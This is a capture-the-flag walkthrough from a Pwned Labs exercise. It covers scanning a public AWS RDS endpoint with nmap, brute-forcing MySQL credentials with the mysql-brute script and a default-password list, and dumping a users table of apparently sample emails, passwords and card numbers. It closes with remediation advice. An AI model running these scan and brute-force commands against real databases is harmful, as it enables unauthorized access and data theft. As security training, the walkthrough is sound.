Pillage Exposed RDS Instances
A walkthrough demonstrating how to exfiltrate data from a public RDS instance.
CTF Source: Pwned Labs
Overview
In this walkthrough, we're provided with a public RDS endpoint and asked to do a security assessment.
Pre-Requisites
Install awscli:
(brew/apt) install awscli
Install nmap:
(brew/apt) install nmap
Install seclists:
(brew/apt) install seclists
Install mysql cli:
apt install mariadb-client-core
Walkthrough
Discovering RDS
Given an RDS endpoint, we’re going to perform a port scan to identify potential database instances running.
nmap -Pn -p3306,5432,1433,1521 exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com
Nmap scan report for exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com (16.171.94.68)
Host is up (0.16s latency).
rDNS record for 16.171.94.68: ec2-16-171-94-68.eu-north-1.compute.amazonaws.com
PORT STATE SERVICE
1433/tcp filtered ms-sql-s
1521/tcp filtered oracle
3306/tcp open mysql
5432/tcp filtered postgresql
Nmap done: 1 IP address (1 host up) scanned in 2.78 seconds
Now that we know of an open port let’s run some more tests with nmap.
Before running, it’s important to understand what we’re doing.
nmap -Pn -sV -p3306 --script=mysql-info exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com
-Pn
assumes the host is online so skips ping-sV
attempts to get the version of the service running on the port--script=mysql-info
is a “Safe” enumeration scriptView details:
nmap --script-help=mysql-info
Link in output: https://nmap.org/nsedoc/scripts/mysql-info.html
Link to code: https://svn.nmap.org/nmap/scripts/mysql-info.nse
Nmap scan report for exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com (16.171.94.68)
Host is up (0.15s latency).
rDNS record for 16.171.94.68: ec2-16-171-94-68.eu-north-1.compute.amazonaws.com
PORT STATE SERVICE VERSION
3306/tcp open mysql MySQL 8.0.32
| mysql-info:
| Protocol: 10
| Version: 8.0.32
| Thread ID: 199055
| Capabilities flags: 65535
| Some Capabilities: SwitchToSSLAfterHandshake, LongColumnFlag, Support41Auth, Speaks41ProtocolOld, SupportsTransactions, LongPassword, IgnoreSigpipes, FoundRows, IgnoreSpaceBeforeParenthesis, Speaks41ProtocolNew, DontAllowDatabaseTableColumn, SupportsLoadDataLocal, ODBCClient, InteractiveClient, SupportsCompression, ConnectWithDatabase, SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults
| Status: Autocommit
| Salt: 6]\x16\x03SS].:Y} 3KOUE@u"
|_ Auth Plugin Name: mysql_native_password
Brute-Forcing MySQL
Now that we know the version of MySQL is 8.0.32
, we can view the documentation and discover that unless the configuration was updated, the default username is: root
and it may not have a password. Let’s try to connect.
mysql -h exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com -u root --skip-password
ERROR 1045 (28000): Access denied for user 'root'@'71-33-139-184.hlrn.qwest.net' (using password: NO)
-h
connect to a remote host, without this it will attempt to connect to a local mysql db-u
specify the username--skip-password
attempt authentication without a password
Bonus, there’s also an nmap script that will do the same as above --script=mysql-empty-password
and also check for anonymous user.
No dice. Not to worry, we can attempt to brute-force the password.
Let’s first ensure we have a good password list e.g., mysql-betterdefaultpasslist.txt
If you have Seclists installed, we can find this here
ls -lh /usr/share/seclists/Passwords/Default-Credentials/ | grep mysql
We’re going to use the nmap script mysql-brute. Looking over the documentation we know our creds file needs to be formatted a certain way,
a file containing username and password pairs delimited by '/'
Our file is currently delimited by :
so let’s fix that.
head -5 /usr/share/seclists/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt
root:mysql
root:root
root:chippc
admin:admin
root:
We’ll copy this creds file to our local directory so we don’t butcher the original.
cp /usr/share/seclists/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt .
Then we’ll use sed
to change the :
to a /
sed -i 's/:/\//g' mysql-betterdefaultpasslist.txt
Now we can confirm the changes.
head -5 ./mysql-betterdefaultpasslist.txt
root/mysql
root/root
root/chippc
admin/admin
root/
We’re ready to run our brute-force attack!
It’s important to understand that brute-forcing is noisy and may trigger an account lockout policy.
nmap -Pn -p3306 --script=mysql-brute --script-args brute.delay=10,brute.mode=creds,brute.credfile=./mysql-betterdefaultpasslist.txt exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com
Nmap scan report for exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com (16.171.94.68)
Host is up (0.30s latency).
rDNS record for 16.171.94.68: ec2-16-171-94-68.eu-north-1.compute.amazonaws.com
PORT STATE SERVICE
3306/tcp open mysql
| mysql-brute:
| Accounts:
| dbuser:123 - Valid credentials
|_ Statistics: Performed 23 guesses in 201 seconds, average tps: 0.0
Nmap done: 1 IP address (1 host up) scanned in 200.81 seconds
brute.delay=10
this increases the timeout, the default is set to0
which may cause the script to fail to find any results
It looks like we found valid creds! dbuser:123
. Let’s attempt to connect to MySQL with these.
mysql -h exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com -u dbuser -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 204271
Server version: 8.0.32 Source distribution
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]>
Nice. We’re in! Let’s see what data there is.
Exfiltrating Data
Show the databases
MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| performance_schema |
| user_info |
+--------------------+
3 rows in set (0.166 sec)
Select the database user_info
and view its tables
MySQL [(none)]> use user_info;
Database changed
MySQL [user_info]> show tables;
+---------------------+
| Tables_in_user_info |
+---------------------+
| flag |
| users |
+---------------------+
2 rows in set (0.153 sec)
Read the flag
MySQL [user_info]> select * from flag;
+----------------------------------+
| flag |
+----------------------------------+
| e1c342[snip] |
+----------------------------------+
1 row in set (0.156 sec)
Read plaintext users data
MySQL [user_info]> select * from users;
+--------+---------------+----------------+--------------------------------------+--------------+-----------------+---------------------+
| userId | fname | lname | email | password | ip_address | creditcard |
+--------+---------------+----------------+--------------------------------------+--------------+-----------------+---------------------+
| 1 | Erwin | Eringey | [email protected] | JQ6VoFjGT | 244.218.113.151 | 3551222381964508 |
| 2 | Carolyne | Koppens | [email protected] | YEclSnT3mZA | 235.196.167.220 | 3565797270077680 |
| 3 | Isa | Tapsell | [email protected] | Mrz5z7rB8J | 100.112.175.106 | 6761958300756751 |
[snip]
Wrap-Up
In this scenario, we were tasked with identifying security concerns on an AWS RDS instance and we discovered a few issues:
Database public exposure
The instance was publicly exposed and there are few use cases where this is needed
Recommendation:
Turn off public access if possible
If public access is required, consider restricting access via Security Groups to only approved IP addresses
Consider utilizing AWS IAM for database authentication or integrating with AWS Secrets Manager for password authentication
Database authentication
The MySQL database utilized a weak password and was easily crackable with automated tools
Recommendation:
Consider utilizing AWS IAM for database authentication or integrating with AWS Secrets Manager for password authentication
Utilize MySQL’s password validation component to enforce strong passwords if authentication will continue to be handled by MySQL
Data security
The
user_info
data in the MySQL database was not encryptedRecommendation:
Consider implementing encryption on the data
Last updated
Was this helpful?